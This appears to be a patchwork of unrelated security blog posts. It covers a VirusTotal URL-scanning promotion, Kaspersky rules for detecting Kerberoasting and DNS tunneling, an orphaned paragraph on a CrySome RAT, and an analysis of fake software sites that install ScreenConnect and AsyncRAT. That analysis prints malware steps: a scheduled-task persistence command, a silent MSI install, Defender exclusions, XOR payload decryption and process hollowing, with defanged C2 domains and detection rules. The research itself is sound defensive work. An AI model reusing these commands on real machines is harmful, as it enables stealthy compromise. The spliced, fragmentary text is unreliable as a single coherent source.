- Headless Browser Data: Full-page visual screenshots, full DOM (Document Object Model) trees, and web technologies (e.g., Cloudflare, PHP, HTTP/3).

- Page and Network Statistics: Highly detailed counters of individual network requests, encrypted HTTPS transactions, unique contacted domains/subdomains, and serving IP address mappings with geographic tracking.

- Anti-Phishing Fingerprints: Automatic identification of brands, cloned-website tags, password input fields, tracker IDs, and favicon dhashes.

- Historical Pivoting: A timeline containing historical analyses of a URL with its corresponding risk score, allowing analysts to track exactly how its metadata and content have shifted over time.

Access Levels in VirusTotal

Public Access (Free for VirusTotal Users)
The core enhancements of the URL Scanning 2.0 engine are available to everyone. For the latest scan, analysts can access rich telemetry generated by headless browser execution, including visual screenshots, extracted JavaScript globals, console messages, and a list of all loaded network resources.

VirusTotal Premium Customers
For paid VirusTotal customers, the platform unlocks deeper retrospective capabilities and exclusive data fields. Analysts have the ability to pivot to and review the full historical analyses of a URL as it was observed at specific points in time, and access advanced telemetry like the full DOM captures of the execution. Furthermore, premium access unlocks advanced infrastructure relationships, allowing users to pivot on contacted domains, IPs, and downloaded files.

Note: The aforementioned Google Threat Intelligence and Automatic Brand Identification features are exclusively available to Google Threat Intelligence customers.

Investigating a Phishing Case

Initially, when an analyst navigates to the mentioned URL to view the report generated by VirusTotal, they would see something similar to the following with the new URL Scanning features:

At the top of the interface, we can see that the URL has been scanned three times. This means there are three distinct reports for the same URL, each potentially containing different information that could be highly useful for an analyst. In the top right corner, we can view these past analyses by clicking on "History".

This is where the new historical analysis pivoting comes into play: it allows analysts to travel back through a URL's timeline with point-in-time snapshots.

By clicking on "History", we can view all the historical analyses for that URL, including response codes, detections, screenshots, and other metadata. You can also apply filters to narrow down the timeline and view only the historical records you are interested in, based on specific response codes, URL actions, and other criteria.

In this case, if we click on the initial historical analysis performed on July 6, 2026 (as shown in the screenshot above), we can examine its specific information across the "Summary", "Details", and "Detection" tabs. A key feature of URL Scanning 2.0 is that the information within these report tabs will dynamically re-render to match the exact historical state of the snapshot you select.

As observed in the history timeline, after clicking on this specific analysis included a live screenshot and other relevant metadata, indicating the scan occurred while the website was fully operational and actively distributed. The previous screenshot gives us a clear view of how the phishing page was visually structured.

Furthermore, diving into the "Details" tab reveals other interesting technical artifacts from the campaign. These details are incredibly useful for pivoting and identifying new malicious URLs that share similar characteristics.

Among the wealth of information generated by URL Scanning 2.0, analysts will find HTTP transactions, detected JavaScript variables, console messages, external outbound links, and other critical metadata. These key technical markers serve as pivotable and searchable attributes, allowing teams to conduct advanced footprint hunting and instantly find other malicious URLs exhibiting the exact same technical fingerprint.

Furthermore, every snapshot taken during each analysis provides the complete Document Object Model (DOM) tree captured by the full browser instances. It allows you to inspect the exact structure of the page as it was dynamically rendered to the victim, exposing elements that static scans might miss. As can be seen in the following image, having direct access to this point-in-time DOM data empowers analysts to dig deep into the page's architecture.

Advanced Threat Hunting: Scaling the Investigation

Let's scale our investigation using VirusTotal Intelligence queries based on the artifacts discovered via URL Scanning 2.0.

During the analysis of the financial phishing site, we discovered that the page relied on static assets hosted on a third-party domain: jiaoyisuo.thai2570[.]com. We can pivot on this finding using an advanced query:

entity:url (outgoing_link:jiaoyisuo.thai2570.com OR content:jiaoyisuo.thai2570.com)

The results demonstrate a multi-brand operation, including fake cryptocurrency exchange portals and typosquatting domains for other financial services. By further pivoting on the hosting domain with entity:domain "thai2570.com", analysts can map out a highly segmented subdomain tree used for hosting assets, capturing payments, and backend control panels.

Conclusion

URL Scanning 2.0 represents a paradigm shift in how security analysts investigate web-based threats. Investigations are no longer limited to static verdicts. By surfacing powerful metadata directly inside the workflow—such as historical DOM captures, live screenshots, and pivotable technical identifiers—analysts can now turn a single indicator into a comprehensive infrastructure map.

Log in to VirusTotal to explore the new URL Scanning 2.0 features today, and consider upgrading to VirusTotal Premium to unlock the full power of historical pivoting and advanced threat hunting.

Introduction

Once the attacker has breached the corporate network, subsequent stages of the attack often involve leveraging standard domain infrastructure protocols: using Kerberos, running DNS queries, accessing internal services, opening network shares, and other common networking actions. Because this activity is virtually indistinguishable from legitimate network traffic, it is extremely difficult to detect it with traditional network attack detection tools.
Kerberoasting and DNS tunneling have long ceased to be exotic techniques. They are becoming standard methods in modern attacks because they allow attackers to execute critical compromise stages while remaining undetected by traditional security tools. A clear example of this trend is seen in latest campaigns, employing both Kerberoasting and DNS tunneling.

Traditional network security tools perform well when the attack features a distinct and identifiable indicator: a characteristic query string, a known malicious traffic pattern, or the source code of an already discovered exploit. While this approach to threat detection remains effective, it cannot always be applied to discovering network attacks that blend seamlessly with legitimate traffic inside a corporate network.

Instead of searching for explicit indicators of attack, Network Anomaly Detection (NAD) analyzes all traffic for suspicious artifacts that deviate from the host’s typical network activity. Within Kaspersky’s solution portfolio, this technology is implemented specifically in the Kaspersky Anti Targeted Attack (KATA) platform.

The system analyzes network traffic data (DNS, DCE/RPC, Kerberos and other packets) and extracts key parameters used to identify anomalous behavior. This approach enables searching for attacks on domain controllers, signs of traffic tunneling and exfiltration, C2 communications, and other scenarios that may point to compromise of network infrastructure.

However, Network Anomaly Detection is not built on a single, universal set of indicators. Each attack scenario employs tailored detection models that account for the specifics of the corresponding network protocol, typical host behavior, and characteristic deviations from that baseline. This article examines two practical examples – detecting Kerberoasting and DNS tunneling – to demonstrate how these principles are implemented in KATA’s NAD rules and why this approach proves more effective than traditional signature-based analysis.

Kerberoasting attack detection by KATA

Why standard tools have a hard time detecting Kerberoasting

The Kerberoasting attack leverages the standard operational logic of the Kerberos protocol. The attacker identifies service accounts configured with a Service Principal Name (SPN), requests a Ticket-Granting Service (TGS) ticket for them, and attempts to crack the password offline using a dictionary attack against the retrieved ticket. If the password is weak or hasn’t been changed in a long time, the adversary can bruteforce it to get it in cleartext. Subsequently, these compromised credentials can be leveraged for both vertical and horizontal movement across the network.

The essence of a Kerberoasting attack is that an adversary possessing a compromised low-privileged account and a valid Ticket-Granting Ticket (TGT) for that account can request TGS tickets with weakened encryption for service accounts with SPNs. Crucially, it doesn’t matter whether the compromised account actually holds access permissions for those services. Having obtained these tickets, the attacker can then take them offline and bruteforce the service account’s password by trying to decrypt the corresponding ticket locally, without generating any network activity. As the encryption key is based on the password hash, the adversary can guess the password upon finding the correct key.

The attacker’s objective is to find a service account that has a simple password. Most likely, this will be an account created manually by the administrators of the infrastructure or a service. This is precisely why attackers are not interested in system service accounts with SPNs (such as CIFS/fileserver.company.local); these are generated automatically and feature highly complex passwords that are impossible to bruteforce.

We should note that the TGS ticket requests made by attackers are identical to standard, legitimate requests. Every domain naturally exhibits a high volume of Kerberos traffic. Therein lies the primary challenge of detecting Kerberoasting: legitimate service ticket requests (TGS-REQ) are indistinguishable from those issued by attackers. Consequently, the primary detection method relies on correlating indirect indicators rather than signature matching. Key indicators include an anomalous request source (atypical host or user account), a surge in requested SPNs within a short time window, attempts to obtain service tickets for sensitive or privileged service accounts, and off-hour timing or unusual request volume when benchmarked against the historical profile of both the user and the host.

Most of these indicators can be detected using NAD technology, which helps analysts cut through high volumes of Kerberos traffic to establish a concrete hypothesis: who initiated the Kerberoasting attack, which service accounts are at risk, and why this activity deviates from the baseline.

In the context of this attack, the network anomaly stems from a single host – likely using a single user account (cname) – receiving TGS tickets ("msg_type": "KRB_TGS_REP") for numerous unique services with SPNs (sname) within a short timeframe. These service accounts are non-system accounts.

Example of a TGS-REQ – TGS-REP event pair from network session attributes

To detect this anomaly, the NAD rule titled “Signs of a Kerberoasting attack” implements the following logic:

1. From Kerberos network sessions during the search depth period, select only those with a successful Kerberos TGS-REP response, subject to the following conditions:
   • The IP address that initiated the session must not be excluded in the excl_sip variable.
   • The requesting client name (cname) must not be included in the excluded users list (excl_users variable).
   • The SPN (sname) must not be excluded within the rule. System SPNs are omitted from detection logic because they exist across most corporate environments and hold no interest for adversaries in this attack vector; including them in the total count of unique SPNs could lead to predefined threshold being exceeded, triggering false positives.
2. Extract the cname (the name of the client requesting the TGS-REQ) and sname (SPN itself) from these qualifying sessions.
3. Group the sessions by the source IP address and client account name (cname), while aggregating sessions with unique SPNs.
4. Generate an alert if a single IP address using a single client account receives TGS-REP responses for N unique SPN names within the specified search depth window, where N equals or exceeds the threshold variable count_spns.
5. Within the event regeneration window, group under the initial alert all subsequent alerts associated with the same client IP address. This avoids creating duplicate event records by incrementing the aggregation counter (Total appearances).

We should note that this type of logic cannot be implemented using IDS signatures. Consider creating a Suricata rule designed to detect Kerberos TGS-REP packets. To minimize false positives, we’ll exclude system SPNs (which carry highly complex passwords) and apply a threshold for the number of responses a single client can receive. However, such a rule cannot evaluate the uniqueness of the requested SPNs; it can only track packet counts. As a result, this signature would produce a high volume of false positives because any domain naturally generates large amounts of identical legitimate TGS-REP messages.

Furthermore, adding exclusions and tuning thresholds to fit your specific infrastructure environments is significantly more practical when managed through user variables in the interface rather than directly modifying the underlying structure of the IDS rule itself.

Creating a Network Anomaly Detection rule

Network Anomaly Detection (NAD) rules are written as SQL queries executed against KATA’s ClickHouse database. Below, we demonstrate how to add and deploy a rule.

To begin working with NAD rules, navigate to the “Custom rules” section of the interface and select “Intrusion detection”. Under the “Network Anomaly Detection” tab, you can create a new rule.

The Network Anomaly Detection page UI

When adding a new rule, an analyst can select an appropriate rule template from the prebuilt set supplied with product updates. They can also manually modify the rule added from the template (converting it to a custom rule while keeping the original template intact) or author a rule from scratch using the provided guide.

Upon selecting a template, the analyst can review the rule description and either adjust or leave the default values for the following settings:

• Search depth (the lookback window over which the SQL query will run)
• Schedule (the execution frequency for running the query against the specified search depth)
• Event regeneration period (the timeframe during which identical alerts will be aggregated into a single record rather than displayed as distinct events)

UI for creating a new NAD rule

To ensure the rule functions correctly, we recommend navigating to the “SQL-specific query” tab before deployment to review the variables used within the rule – a description for each variable is available by hovering over the question mark icon.

The variables are lists of IP addresses, dates, strings or numeric values that define the network infrastructure – such as domain controllers, DNS servers, time ranges, critical segments, and other entities. This allows you to tailor each rule to different network environments and incorporate specific infrastructure characteristics without modifying the underlying logic.

In our example, using variables allows you to adjust the “Signs of a Kerberoasting attack” rule as follows without altering the underlying SQL query:

• Exclude the source IP address of the TGS-REQ requests from the scope of detection logic (you can specify a single address, a subnet mask, or a dictionary containing addresses and subnets) as well as the requesting client account (accepts a single value or a dictionary with multiple values).
• Adjust the threshold value required to trigger an alert based on the number of unique SPNs in the TGS-REQ messages.

Query contents and variables used in the new rule

On this same page, you can test if the rule is functional prior to saving it.

Rule execution test results

When this rule triggers, an NDR:NAD alert is generated. In the alert card, the analyst can review basic information: IP addresses, ports, and participating network endpoints.

Alert card for the NAD rule

From there, the analyst can navigate to the associated event, which provides a detailed breakdown of the anomaly alongside links to the affected hosts.

NAD rule triggering event

If needed, the analyst can view and export the network sessions associated with the alert. These sessions can be accessed directly from the alert or within the event card via the “Show related” drop-down list.

Network sessions that triggered the rule

Within an individual session, the analyst can inspect standard details including interacting parties, data volume sent and received, and other fields and metrics. On the “Attributes” tab, the analyst can review the specific events recorded within that session.

Network session attributes

Detecting DNS tunneling in KATA

How DNS tunnels work

DNS tunneling is a technique used to transmit data or control malware through firewalls by encoding information within DNS protocol requests and responses. Instead of performing standard name resolution, an infected host transmits data encoded within subdomain strings and receives response data via DNS records. This covert channel can be leveraged for C2 communication, bypassing network restrictions, or data exfiltration.

One method of implementing DNS tunneling involves utilizing TXT records. In this scenario, the client issues DNS TXT record queries for domain names where the right-hand portion of the domain name (the higher-level domains) remains static, while the left-hand portion (the lowest-level subdomain) carries encoded or encrypted data sent from the client to the server. Under this structure, a sample domain name might look like ZFcABQAIBA[.]testlab[.]local, where testlab[.]local serves as the static right-hand portion and ZFcABQAIBA represents the variable left-hand string containing the data transmitted by the client.

In response to these queries, the server delivers commands or messages inside the data field of the TXT response. Because the right-hand portion of the domain name remains static, all client queries are consistently routed to the same C2 server, even if the intermediate DNS resolvers targeted by the client change.

DNS query (left) and corresponding response (right) during DNS tunneling via TXT records

It is rather challenging to identify this malicious activity within DNS traffic without generating false positives. DNS traffic is permitted across almost all corporate networks, long domain names occur routinely in both internal and external environments, and TXT records are frequently leveraged for legitimate operational purposes.

Suspicion is established through a combination of indicators: a high volume of long, seemingly random subdomains associated with a single top-level domain, high request frequency, an unusually large number of unique names, non-standard record types, and significant data transfer volumes within a single DNS session.

By analyzing DNS traffic for threat detection, we identified three primary fields of interest:

• Requested DNS name
• DNS record type
• TXT data field within the response

As shown in the image above, all of these fields are present in the DNS response. In a real-world scenario, a tunnel of this nature will transmit a volume of data that is abnormally large compared to standard DNS traffic.

Data exchange within a DNS tunnel

Thus, in the context of DNS tunneling, a network anomaly occurs when 1) a single query source host sends data embedded in the variable left-hand portion of domain names (rrname) while 2) maintaining a static right-hand portion (rrname) and 3) receives DNS server responses containing TXT records (rtype) with varying data (rdata), while 4) the total volume of data transmitted in the left-hand portion of the requested domain name together with the TXT data response (rdata + rrname) exceeds a predefined threshold.

Request and response events from DNS session attributes

When detecting DNS tunneling, the following nuances must be considered:

• A single tunnel will not be constrained to a single DNS session; data may be transmitted across multiple sessions with the DNS server, or each individual request may occur within a separate session.
• A client DNS query can contain more than one requested domain name.
• A DNS response can contain multiple TXT records, as well as a large volume of various non-TXT record types.
• Traffic between DNS servers must be excluded, as it duplicates client requests and can trigger false positives.
• Although the factors outlined above (an abnormally large or frequently changing left-hand subdomain alongside a static right-hand domain, or an unusually long string in a TXT record) serve as key indicators of DNS tunneling, they can also occur within legitimate network traffic.

These challenges create a high likelihood of false positives when detecting DNS tunneling, particularly when using IDS-based tools. Writing an accurate IDS rule for this type of activity is practically impossible. With rare exceptions, DNS tunneling tools possess static markers that can be leveraged for signature-based detection. However, in the absence of such markers, signature methods fail to deliver high detection accuracy without generating an overwhelming number of false positives. In these cases, a comprehensive approach combining multiple correlated indicators is essential to improve overall detection quality.

DNS tunneling detection logic

To add a rule for detecting this anomaly, you can use the prebuilt “DNS data tunneling via TXT records” template in the new rule creation interface. The “SQL-specific query” tab will display the list of variables used:

• user_DNS_servers: a list of internal DNS server addresses within the infrastructure, required for the rule to function correctly and minimize potential false positives
• excl_sip: IP addresses to be excluded from the scope of the rule (you can specify a single address, a subnet mask, or a list containing both addresses and subnets)
• traffic_size: the threshold value for the total volume of data (in bytes) transmitted through the tunnel

Variables used in the “DNS data tunneling via TXT records” rule

The detection logic for this network anomaly is structured as follows:

1. From network sessions using the DNS protocol within the timeframe defined by the rule’s search depth, select only those sessions containing at least one TXT response.
   Additionally:
   • The IP address that initiated the session must not be excluded in the excl_sip variable.
   • The source IP address that initiated the session must not belong to the internal DNS servers listed in the user_DNS_servers variable.
   • The DNS names requested by the client must not be excluded within the rule.
2. Split qualifying DNS sessions into individual log lines, each corresponding to an individual request or response. Retain only DNS responses containing TXT data.
3. Extract DNS names and their associated TXT data from these DNS responses. Retain only unique values.
4. Group all resulting records by the session’s source IP address, aggregating all unique DNS names and TXT data blocks.
5. Generate an alert if the combined size (in bytes) of the unique DNS names and TXT response data for a single IP address within the search depth window exceeds the specified threshold (the traffic_size parameter).
6. Within the event regeneration window, group under the initial alert all subsequent alerts associated with the same client IP address. This avoids creating duplicate event records by incrementing the aggregation counter (Total appearances).

“DNS data tunneling via TXT records” rule triggering event

The primary value of NAD technology in this scenario lies in noise reduction – by minimizing false positives – and faster investigation times. A DNS tunnel rarely presents itself as a single, blatantly malicious request. Instead, it leaves behind a behavioral footprint: repetition, length, domain structure, unusual record types, numerous subdomains branching off an unchanging root domain, and anomalous host behavior. KATA consolidates these indicators into a single alert, presenting the analyst with an actionable attack hypothesis rather than a set of fragmented DNS events.

Prebuilt rules for detecting network anomalies in KATA

KATA users should note that Network Anomaly Detection (NAD) rules are not enabled by default. Rules must be added manually using the procedure described in the preceding sections. This design ensures that analysts can fine-tune rules to fit specific network infrastructures using variables.

Analysts have three ways of creating new rules:

1. Adding a rule from a prebuilt template and adjusting custom variables. In this case, the rule is classified as a system rule.
2. Adding a rule from a prebuilt template and modifying its underlying SQL query (which requires enabling the “Unlock all template values” option) to create a custom rule based on the template. When modified this way, the rule transitions from a system rule to a custom rule.
3. Authoring a custom rule from scratch, which requires a basic understanding of ClickHouse SQL queries and familiarity with the product documentation.

As of this publication, the product ships with 59 prebuilt NAD rule templates (with additional templates delivered via product updates). KATA supports running up to 200 active rules simultaneously.

Prebuilt rules are divided into six categories:

• Large Data Transfers: tracking abnormally large network sessions across various protocols during regular hours, at night, or over weekends.
• Suspicious Connections: detecting suspicious connections that may indicate hazardous activity, shadow IT, evasion of attack detection mechanisms, and other threats.
• Domain Attacks: detecting classic attacks targeting domain network infrastructures using offensive tooling.
• Reconnaissance Activity: identifying suspicious activity within domain protocol sessions (Kerberos, DCE/RPC, LDAP, DNS) resembling domain reconnaissance.
• Connections to Suspicious Resources: detects actions that violate security policies, potential data exfiltration beyond the perimeter, and unauthorized internet access originating from secured network segments.
• C2 Communication: identifies network sessions characteristic of a potential C2 communication channel or tunnel.

The table below lists the rule templates for detecting network anomalies in KATA:

Conclusion

The examples of Kerberoasting and DNS tunneling clearly demonstrate why modern security defenses cannot rely solely on looking for known signatures and indicators of compromise. Both attack techniques abuse protocols that operate inside corporate networks every day. At the individual event level, they may look like legitimate activity, yet in behavioral context, they stand out as clear indicators of compromise.

NAD directly addresses this gap. Instead of relying purely on signature matches across Kerberos or DNS traffic, it highlights deviations from established baselines: who initiated the activity, how frequently it recurred, which services or domains were targeted, and why that matters for a specific infrastructure.

As a result, analysts gain a clear, actionable starting point for investigation. This capability is especially valuable for spotting the signs of APT group activity, which runs stealthily and is designed to blend in with legitimate operations. The importance of this capability will only grow: as attack techniques evolve, detecting suspicious activity at its earliest stages – before it escalates into critical service compromise or a data breach – becomes increasingly vital.

During a recent security alert, the LevelBlue MDR SOC successfully triaged and contained a structured, multi-stage infection chain designed to deliver the CrySome remote access trojan (RAT). The incident was subsequently analyzed in depth by LevelBlue's Threat Hunting Operations and Research (THOR) team, whose reverse engineering and malware analysis reconstructed the full infection chain and determined that initial access was achieved through a targeted spear-phishing lure masquerading as a logistics rate confirmation document, leveraging expected business workflows to trick the recipient into executing the initial payload.

UPD 03.07.2026: added a package of rules and recommendations that help detect the described malicious activity for companies using our Kaspersky SIEM system.

Introduction

To access compromised systems, threat actors frequently abuse legitimate remote monitoring tools. At first glance, these utilities rarely raise red flags: they are signed with valid digital certificates, often allowlisted under corporate IT policies, and fully supported by OS vendors. However, they grant attackers the ability to harvest data from target devices, drop malware, and move laterally across the network.

During a recent investigation engagement, the Kaspersky Managed Detection and Response (MDR) team discovered the ScreenConnect remote access tool being leveraged to deploy and execute an AsyncRAT payload.

A deep dive into this single incident unraveled a massive campaign distributing malicious installer archives hosted on spoofed websites. These installers masquerade as popular software like OBS Studio, DNS Jumper, DS4Windows, Bandicam, and others. In total, we uncovered more than 90 domain names localized across 10 languages. The malicious archives bundle a legitimate, signed Microsoft install.exe binary alongside a rogue install.res.1033.dll library. It is loaded onto the device via DLL sideloading and deploys the ScreenConnect service, which awaits further instructions from the threat actors.

As a result, what initially appeared to be an isolated ScreenConnect incident served as the starting point for a full investigation into the threat actor’s C2 infrastructure. Every spoofed site we uncovered followed the exact same playbook: dropping a hidden ScreenConnect remote administration service under the guise of a legitimate software installer. This allowed the attackers to maintain control over compromised endpoints, with victims ranging from individual users to organizations.

We continue to break down complex, multi-stage incidents like this in our ongoing The SOC Files series. In this post, we take a deep dive into the technical execution of the ScreenConnect attack and analyze the broader infrastructure under the threat actor’s control.

Initial incident investigation

The investigation was triggered by an alert from Kaspersky MDR, which flagged the creation and execution of suspicious PowerShell and VBS scripts spawned by a ScreenConnect process.

ScreenConnect was running as an Access-type service — enabling direct remote connectivity — with the server explicitly passed via the command line:

ScreenConnect service execution event with suspicious parameters

Once running, ScreenConnect created and executed a PowerShell script named Fj5NmEsp9EuKrun.ps1:

Malicious PowerShell script creation

Below is an excerpt from the contents of the script:

Snippet of Fj5NmEsp9EuKrun.ps1

This script configures Microsoft Defender exclusions for the following objects:

• All disks in the system: C:\, D:\, and others
• All root directories on the C:\ drive, as well as the C:\Users\Public directory
• RegAsm.exe process

Additionally, the script disables User Account Control (UAC) prompts by setting the ConsentPromptBehaviorAdmin registry parameter to 0.

Following this setup, the ScreenConnect service goes on to create a VBScript file:

Malicious VBScript creation

The installer_method3_stream.vbs script creates five files in the C:\Users\Public directory (msgbox.txt, secret_bytes.txt, 1.vb, cap.ps1, and script.vbs) and immediately triggers their execution by launching script.vbs.

Contents of script.vbs

This script terminates all active powershell.exe processes to cover its tracks and executes cap.ps1 in a hidden window.

Contents of cap.ps1

cap.ps1 reads the contents of the secret_bytes.txt file, extracts sequences matching the [SXX- pattern, and converts XX from hexadecimal representation to a byte. It then uses a 0xA7 XOR key to decrypt each byte and inverts the bit order. The resulting byte array yields a fully formed PE binary, which is then reflectively loaded into the CLR.

Within the loaded assembly, the ConsoleApp1.Module1 type contains a static method named Run. The script uses reflection (Reflection.BindingFlags) to resolve a reference to this method and invoke it.

The Run method executes a process hollowing technique (T1055.012), spawning a new RegAsm.exe process with the CREATE_SUSPENDED flag. The deobfuscated and decrypted PE image from secret_bytes.txt is then copied into its address space. As a result, the RegAsm.exe process no longer executes its original code, instead serving as a container for the injected .NET module — which, in this case, is the AsyncRAT remote access Trojan.

To establish persistence, the malware schedules a task named MasterPackager.Updater:

"schtasks" /Create /TN "MasterPackager.Updater" /TR "wscript.exe "C:\Users\Public\script.vbs" " /SC MINUTE /MO 2 /F

This task triggers every two minutes, ensuring that script.vbs — and consequently the entire loader chain — executes even after a system reboot.

Once the entire infection chain successfully executes, the RegAsm.exe process establishes a connection to the C2 domain mora1987[.]work[.]gd.

AsyncRAT infection and persistence chain via ScreenConnect

How ScreenConnect entered the system

A retrospective analysis of the incident allowed us to pinpoint the source of the ScreenConnect installation: a user-downloaded archive named obs-studio-windows-x64.zip.

The archive was downloaded from hxxps://www.studioobs[.]com/, a typosquatted domain mimicking the official site for OBS Studio, a popular open-source screen recording app. This site is present in search engine results; in this specific incident, the user landed on the malicious domain directly from a search query, a vector we analyze in more detail below.

Clicking the download button for the supposedly legitimate software triggers a request to the following URL, from which the archive is fetched:

hxxps://fileget.loseyourip[.]com/obs-studio-windows-full/gVOMs5VZ9BtlcaM

Site used to deliver ScreenConnect

The archive contains a legitimate, Microsoft-signed executable named install.exe (87603EA025623B19954E460ADD532048), renamed to masquerade as the OBS Studio installer, along with a malicious library named install.res.1033.dll. Additionally, the archive includes an Assets folder containing both a copy of the actual software being impersonated and the ScreenConnect utility.

Contents of obs-studio-windows-x64.zip

The complete file structure of the archive is organized as follows:

Detailed directory tree of obs-studio-windows-x64.zip

When OBS-Studio-Installer.exe is executed, it loads install.res.1033.dll via DLL sideloading. This library contains the instructions required to install both ScreenConnect and OBS Studio. The deployment relies on native Windows utilities (msiexec.exe), but the attackers renamed the standard MSI packages to look like DLL files:

• Assets\x86\Data\vcredist_x64.dll: ScreenConnect installer
• Assets\x86\Data\vcredist_x86.dll: OBS Studio installer

The contents of the vcredist_x64.dll MSI package are shown below:

ScreenConnect installation files

The Windows Installer is launched to install ScreenConnect silently in the background without requiring a system reboot:

msiexec.exe /i "C:\Temp\OBS-Studio-Windows-x64\Assets\x86\vcredist_x64.dll" /qn /norestart

Once the installation wraps up, a new service named Microsoft Update Service is created. The command line for this service explicitly defines the connection server as r[.]servermanagemen[.]xyz.

Meanwhile, the MSI package for the actual OBS Studio software runs using a standard graphical user interface.

ScreenConnect and OBS Studio installation workflow

Expanding the investigation

The attackers’ reliance on the legitimate install.exe binary provided a crucial pivot point for our broader investigation. We discovered that this specific file was being deployed in the wild under a variety of suspicious aliases, including:

• ds4windows.exe
• crosshairx_installer.exe
• obs-studio-installer.exe
• dns jumper.exe
• glary utilities pro.exe
• processhacker-2.39-setup.exe

These file names indicate that the threat actor was disguising their ScreenConnect archives as popular utilities beyond OBS Studio. Among the fakes, we identified counterfeit installers for DS4Windows, DNS Jumper, Glary Utilities, and Process Hacker. Crucially, when we search for these utilities on major search engines, these fraudulent sites frequently appear at the very top of the organic search results. This indicates that the threat actor is actively leveraging SEO techniques to boost traffic to their landing pages.

Spoofed software portals appearing in search engine results

For example, here is how the fraudulent download portal for DNS Jumper looks:

Fake website mimicking the official DNS Jumper resource

On this page, the download button directs users to the following address:

hxxps://direct-download.giize[.]com/dns-jumper/iopbsr4hymbo7nfa1q7j

Just like the OBS Studio variant, this drops an archive onto the victim’s device with an identical structure: a renamed legitimate install.exe file, a sideloaded library, and an Assets directory containing the promised software packaged alongside ScreenConnect.

Contents of the DNS Jumper and ScreenConnect archive

Other fraudulent websites that appear in search engine results when querying the corresponding software are designed in a similar fashion.

Spoofed websites used to distribute ScreenConnect

Notably, the vast majority of the fraudulent sites we uncovered are localized into English, Russian, and Chinese. In several instances, the pages were also translated into German, French, Spanish, Arabic, and other languages. This multi-language support underscores the global footprint of the campaign, targeting a broad user base across multiple regions.

Language localization options on a ScreenConnect delivery site

Fake domain infrastructure

To distribute ScreenConnect disguised as freeware, the threat actor spun up an extensive network of domain names mapped across three IP addresses. We have categorized these into two distinct infrastructure clusters.

Cluster 1: 162.216.241[.]242 and 198.23.185[.]81

```
162.216.241[.]242
Country: United States
Org name: Dynu Systems Incorporated
```

The connection graph below illustrates the campaign websites tied to IP address 162.216.241[.]242, which hosts the previously mentioned www[.]studioobs[.]com domain.

URL connection graph for IP 162.216.241[.]242

Subsequently, starting in January 2026, they shifted strategy and began registering fake domains designed to mimic popular freeware:

In this specific branch of the ScreenConnect campaign, the malicious archives are hosted on fileget.loseyourip[.]com. Notably, the download resource is hosted on a completely separate provider:

```
198.23.185[.]81
Country: United States
Org name: NOHAVPS LLC
```

Our analysis of this second IP address revealed that it also hosts additional resources tied to the campaign, including fake gaming sites and supplementary download links:

URL connection graph for IP 198.23.185[.]81

Cluster 2: 2.59.134[.]97

```
2.59.134[.]97
Country: Germany
Org name: dataforest GmbH
```

Below is an infrastructure graph showing this IP address and its hosted domains. Notably, unlike the previous case, this address also hosts direct-download.giize[.]com, a resource used to store distributed malicious archives.

URL connection graph for IP 2.59.134[.]97

The chart below shows the volume of fraudulent websites created month by month:

Breakdown of ScreenConnect delivery sites by theme, August 2025 through March 2026 (download)

C2 infrastructure analysis

In total, we identified dozens of different archives distributed across this campaign. All of them share a uniform file structure, containing the malicious install.res.1033.dll library and the ScreenConnect MSI package located at Assets\x86\vcredist_x64.dll.

In some instances, the ScreenConnect installation package also bundles a CAB archive.

Contents of the CAB archive

This archive contains a system.config XML file, which defines the connection address for the ScreenConnect C2 server:

Contents of system.config

By analyzing these ScreenConnect installations, we uncovered additional C2 addresses, which are mapped out in the following graph:

Connection graph of ScreenConnect C2 domains

The next graph illustrates the AsyncRAT command-and-control infrastructure:

AsyncRAT C2 server infrastructure

Based on the registration dates of the C2 domains, we can determine that the campaign was launched in October 2025 and paused at the end of March. However, at the time of publication, many of the landing pages remain accessible via search engine results.

Takeaways

Investigating a single case of AsyncRAT delivered via ScreenConnect allowed us to uncover a massive, multi-domain, multi-language infrastructure designed to distribute a hidden installer for this software and further advance the attack. The threat actor disguises ScreenConnect as popular utilities and distributes it through fraudulent websites that mimic official product pages. The attackers leverage search engine optimization techniques to push these sites to the top of search results in engines like Google and Bing.

This attack chain targets both everyday consumers downloading free software from the internet and corporate networks, where remote access tools are frequently allowlisted and granted elevated privileges.

The potential objective of the campaign is to steal credentials en masse and gain unauthorized access to systems for subsequent resale on dark web marketplaces.

To mitigate the risks associated with this threat, we recommend implementing the following security measures:

• Enforce strict software installation controls: application allowlisting and blocking MSI package execution from untrusted sources
• Continuously monitor for the creation of new remote administration services and scheduler tasks
• Filter outbound traffic to unknown domains and IP addresses
• Regularly train users on safe downloading practices
• Verify the authenticity of all software sources

For enterprise users, credential monitoring is a critical mitigation strategy against the risks detailed in this article, as a leaked account or compromised system access frequently serves as a vector for subsequent attacks on the organization.  Kaspersky Digital Footprint Intelligence provides continuous data monitoring across open and dark web sources, enabling security teams to respond proactively to potential threats.

Detection by Kaspersky solutions

Kaspersky Managed Detection and Response detects the malicious activity described in this post using the following indicators of attack:

1. ScreenConnect service creation with suspicious parameters
   

   logsource:                      
       product: windows         
       category: security
   detection:
       selection_access:
           EventID: 4697
           Service File Name|contains:
               - 'e=Access'
               - 'ClientService.exe'
       selection_support:
           EventID: 4697
           Service File Name|contains:
               - 'e=Support'
               - 'ClientService.exe'
       condition: selection_access or selection_support

2. Anomalous child processes being spawned by the ScreenConnect service
   

   logsource:
       product: windows
       category: process_creation
   detection:
       selection:
           ParentImage|endswith:
               - '\\ScreenConnect.ClientService.exe'
               - '\\ScreenConnect.WindowsClient.exe'
               - '\\ScreenConnect.WindowsBackstageShell.exe'
               - '\\ScreenConnect.WindowsFileManager.exe'
           Image|endswith:
               - '\\powershell.exe'
               - '\\cmd.exe'
               - '\\net.exe'
               - '\\schtasks.exe'
               - '\\sc.exe'
               - '\\msiexec.exe'
               - '\\mshta.exe'
               - '\\rundll32.exe'
       condition: selection

Additionally, Kaspersky products detect the malware covered in this post under the following verdicts:

• Trojan.Win64.DLLhijack.*
• Trojan.VBS.Agent.*
• Trojan.PowerShell.Agent.bav
• Trojan.JS.SAgent.sb

Endpoint malicious activity can be monitored using Kaspersky EDR Expert. Specifically, security teams should look for the execution of commands and scripts containing suspicious patterns, such as XOR operations used for command and data obfuscation by malware operating on the host. This activity is flagged by the suspicious_assembly_loading_into_powershell_via_reflection_amsi and xored_powershell_command_amsi rules.

Additionally, persistence mechanisms involving the creation, modification, or utilization of scheduled tasks via the schtasks.exe utility are caught by the scheduled_task_create_from_public_directory_via_schtasks rule.

Malicious code injection into the RegAsm.exe process — leveraged by attackers to masquerade execution behind a trusted system component — is detected via the code_injection_to_unusual_process rule.

